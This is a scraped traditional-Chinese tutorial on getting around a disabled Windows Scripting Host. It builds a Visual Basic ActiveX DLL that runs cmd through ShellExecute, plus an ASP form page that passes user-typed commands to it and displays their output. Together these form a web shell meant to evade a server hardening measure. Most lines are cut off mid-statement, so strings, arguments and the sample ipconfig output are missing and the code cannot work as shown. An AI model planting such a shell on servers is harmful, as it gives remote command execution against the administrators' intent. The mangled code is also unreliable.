有時我們在管理服務器時為了安全起見會禁用Windows Scripting Host
首先我們新建一個ActiveDLL工程
然後我們的思路是使用Window API ShellExecute調用cmd
以下是工程ASPCMD的類CMDShell
Option Explicit
Dim rp As Response
Dim rq As Request
Dim ap As Application
Dim sr As Server
Dim sn As Session
Private Declare Sub Sleep Lib
Private Declare Function ShellExecute Lib
Private Sub ShellEx(ByVal sLocation As String
On Error GoTo errhandle:
Dim lR As Long
Dim Style As Long
Dim hWnd As Long
If MaxedForm Then
Style = vbMaximizedFocus
Else
Style = vbNormalFocus
End If
lR = ShellExecute(hWnd
If (lR <
Else
rp
End If
errhandle:
rp
End Sub
Public Sub OnStartPage(ByVal mysc As ScriptingContext)
Set rp = mysc
Set rq = mysc
Set sr = mysc
Set ap = mysc
Set sn = mysc
End Sub
Public Sub OnEndPage()
Set rp = Nothing
Set rq = Nothing
Set sr = Nothing
Set ap = Nothing
Set sn = Nothing
End Sub
Private Function FileExists(Filename As String) As Boolean
Dim i As Integer
On Error Resume Next
i = Len(Dir$(Filename))
If Err Or i =
End Function
Private Function IsOpen(Filename As String) As Boolean
Dim fFile As Integer
Dim msg As String
fFile = FreeFile()
On Error GoTo ErrOpen
Open Filename For Binary Lock Read Write As fFile
Close fFile
Exit Function
ErrOpen:
If Err
msg =
& Err
Else
IsOpen = True
End If
End Function
Public Sub Exec
On Error GoTo errhandle:
Dim myTimer As Integer
myTimer =
Dim strOut As String
Dim strFname As String
//生成一個臨時文件
If Len(App
strFname = App
Else
strFname = App
End If
//如果在運行前文件已存在則刪除之
If FileExists(strFname) Then
Kill strFname
End If
//運行行用戶的CMD命令
//注意cmd
Dim strPara As String
strPara =
ShellEx
//等待生成輸出文件
Do While Not FileExists(strFname)
Sleep
DoEvents
myTimer = myTimer +
If myTimer =
Exit Do
End If
Loop
myTimer =
//等待文件輸出完畢
Do While IsOpen(strFname)
Sleep
DoEvents
myTimer = myTimer +
If myTimer =
Exit Do
End If
Loop
//顯示輸出文件的內容
Open strFname For Input As #
Do While Not EOF(
Line Input #
rp
Loop
Close #
Sleep
//刪除臨時文件
Kill strFname
Exit Sub
errhandle:
rp
End Sub
生成ASPCMD
以下是調用該DLL的一個ASP程序例子
<%@LANGUAGE=
<style type=
<!
border:
background
font
color: #FFFFFF;
}
border:
background
font
color: #FFFFFF;
}
body{background
font
</style>
<form action=
<input name=
<input type=
</form>
<%
if request
set testme=server
%>
<div class=
<textarea cols=
<%=testme
<% set testme=nothing
end if
%>
以下是運行Ipconfig /all的結果
Windows
Host Name
Primary DNS Suffix
Node Type
IP Routing Enabled
WINS Proxy Enabled
Ethernet adapter 本地連接:
Connection
Description
Physical Address
DHCP Enabled
IP Address
Subnet Mask
Default Gateway
DNS Servers
From:http://tw.wingwit.com/Article/program/net/201311/11821.html